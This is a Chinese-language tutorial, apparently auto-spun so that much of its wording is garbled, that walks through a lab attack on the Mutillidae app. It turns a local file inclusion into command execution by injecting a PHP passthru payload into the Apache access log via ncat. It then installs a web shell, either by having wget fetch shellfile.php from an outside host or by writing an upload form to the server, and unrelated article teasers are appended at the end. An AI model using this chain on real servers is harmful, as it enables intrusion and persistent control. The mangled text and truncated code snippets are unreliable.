本地文件包括(LFI)缝隙,常被入侵者用来提取站点地点服务器上的不同文件内容,如passwd,hosts等。但你有没有想过将它提升到另一个层级?即经过本地文件包括来获取服务器上的浏览器shell(c99,b374k等)。本文也将就此展开讨论,下面让咱们步入正题!
设置
我将运用我本地的浸透测验环境设置为例。我当时所运用的web运用程序是Mutillidae。此外,咱们有必要将Apache装备为答应目录遍历。
Options Indexes
show time
首要咱们来寻觅LFI缝隙,点击链接后咱们能够看到如下的url地址:
/index.php?page=
让咱们测验包括一个灵敏文件途径/etc/passwd,看看会发作什么。如下:
/index.php?page=/etc/passwd
居然成功读取到了文件内容!这也为咱们验证了该运用的确存在本地文件包括缝隙。接下来咱们来包括Apache access log,看看是否也能拜访到其间的内容。
拜访日志的方位和文件名在不同的体系上会有所差异,在我的体系上是/var/log/apache2/access.log。将url修正如下:
/index.php?page=/var/log/apache2/access.log
太棒了!拜访日志的内容也成功被加载。
经过以上的开始验证,现在是时分进入到咱们的第二阶段了。
Apache拜访日志的运用
在此之前,你有必要要对Apache日志有所了解。
服务器拜访日志记载服务器处理的一切恳求。
参阅来历:http://httpd.apache.org/docs/1.3/logs.html#accesslog
这也意味着咱们发送到服务器上的任何恳求都将会被保存到这儿。
首要咱们翻开一个终端,然后运用netcat向服务器发送一个GET恳求。咱们之所以没有运用浏览器发送此恳求,是因为它会对咱们的恳求进行url编码,这将导致它无法正常作业。咱们注入的代码如下:
passthru($_GET['cmd']); ?>
关于passthru()函数:
passthru – 履行外部程序并显现原始输出
参阅来历:http://php.net/passthru
要运用netcat发送恳求,咱们需要在终端中履行以下操作:
ncat 192.168.56.101 80
然后咱们键入以下内容:
GET / passthru($_GET['cmd']); ?> HTTP/1.1
Host: 192.168.56.101
Connection: close
注:这儿你有必要将192.168.56.101更改为你方针的IP地址。这是我虚拟机的IP地址。
终究看起来应该像下面这样:
$ ncat 192.168.56.101 80
GET / HTTP/1.1
Host: 192.168.56.101
Connection: close
HTTP/1.1 404 Not Found
Date: Mon, 17 Mar 2014 17:34:53 GMT
Server: Apache/2.2.14 (Ubuntu) mod_mono/2.4.3 PHP/5.3.2-1ubuntu4.5 with Suhosin-Patch proxy_html/3.0.1 mod_python/3.3.1 Python/2.6.5 mod_ssl/2.2.14 OpenSSL/0.9.8k Phusion_Passenger/3.0.17 mod_perl/2.0.4 Perl/v5.10.1
Vary: Accept-Encoding
Content-Length: 202
Connection: close
Content-Type: text/html; charset=iso-8859-1
404 Not Found
Not Found
The requested URL /
现在让咱们来验证下咱们的注入是否有用,回来浏览器并向URL增加一个新参数:
cmd=
在咱们的比如中,我将运用id指令:
/index.php?page=/var/log/apache2/access.log&cmd=id
现在,咱们来看看咱们得到的输出。 仔细看,你会看到相似于红框标示的内容:
咱们的指令在服务器上成功被履行!
下面是咱们的重头戏,即获取服务器的浏览器shell。这儿有两种办法,之一种是运用wget,第二种是注入上传表单。咱们先来介绍之一种。
运用wget
Wget是一个文件下载指令。尽管并非总是那么有用,但作为最简略的办法是咱们首要需要去测验的。将cmd参数更改如下:
&cmd=wget http://somedomain.com/shellfile.php
这将把shellfile.php下载到服务器,并将其保存在当时的作业目录中(假如可读的话)。假如你想要将它保存在其它方位,你能够参阅wget手册。经过这种办法,能够为你省去上传表单的中心进程。
上传表单
假如wget不起作用,咱们能够运用上传表单这种办法。咱们将在服务器上履行echo指令,该指令将会将咱们的恣意内容写入到文件。将cmd参数更改如下:
"multipart/form-data" ACTION= echo "http://" . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]; ?> METHOD=POST>Send this file: "userfile" TYPE="file">"submit" VALUE="Send"> move_uploaded_file($_FILES["userfile"]["tmp_name"], $_FILES["userfile"]["name"]); ?>
这将在服务器上创立一个带有上传表单的文件。然后咱们在浏览器中翻开该上传页面,上传咱们的浏览器shell。
如下所示,咱们成功上传了b374k shell。
进程回忆
1.经过获取passwd,hosts等文件来验证LFI缝隙;
2.经过LFI缝隙获取Apache日志拜访;
3.运用netcat或相似东西发送歹意恳求;
4.经过测验id,whoami等简略指令来验证代码履行;
5.运用wget或将上传表单写入服务器,将浏览器shell增加到服务器上;
6.拜访浏览器shell验证是否成功。
总结
尽管这自身并不是一个超高危险的缝隙,但在被正确运用的情况下也可能会带来巨大的安全要挟。
前些年Lawrence Alexander颁发了一篇使用Google Analytics查找网页之间的联络联络的文章,客岁,我也宣告了一个关于若何使用Python自动开掘信息,然后将其可视化的帖子,不...
导语:近来,腾讯游戏安全中心捕获一款网吧内传达的歹意软件。原以为是惯例的网吧盗号木马,但详细剖析之后发现并非如此。经证明该歹意软件是现在发现的首款运用Windows SMB缝隙传达,开释虚拟钱银矿机挖...
在逻辑缝隙中,恣意用户暗码重置最为常见,或许出现在新用户注册页面,也或许是用户登录后重置暗码的页面,或许用户忘掉暗码时的暗码找回页面,其间,暗码找回功用是重灾区。我把日常浸透过程中遇到的事例作了缝隙成...
1. 导言 针对linux服务器进犯首要包含溢出提权进犯、端口扫描、后门程序植入等进犯手法,而针对web运用程序的进犯则掩盖愈加广泛,包含SQL注入、XSS、指令履行、文件包含、木马上传等缝隙。本文...
APT34被认为是一个为伊朗的国家利益服务的黑客安排,首要侧重于网络间谍活动,至少从2014年开端就一向处于活泼状况。这个安排现已广泛地针对各个职业,包含金融、政府、动力、化工和电信,而且首要会集在中...
一、布景 最近国外安全研究人员发现TrickBot银行木马最新的样本,深服气EDR安全团队对此事进行了相关跟进,获取到了相应的样本,并对样本进行了详细剖析,承认此样本为TrickBot银行盗号木马的最...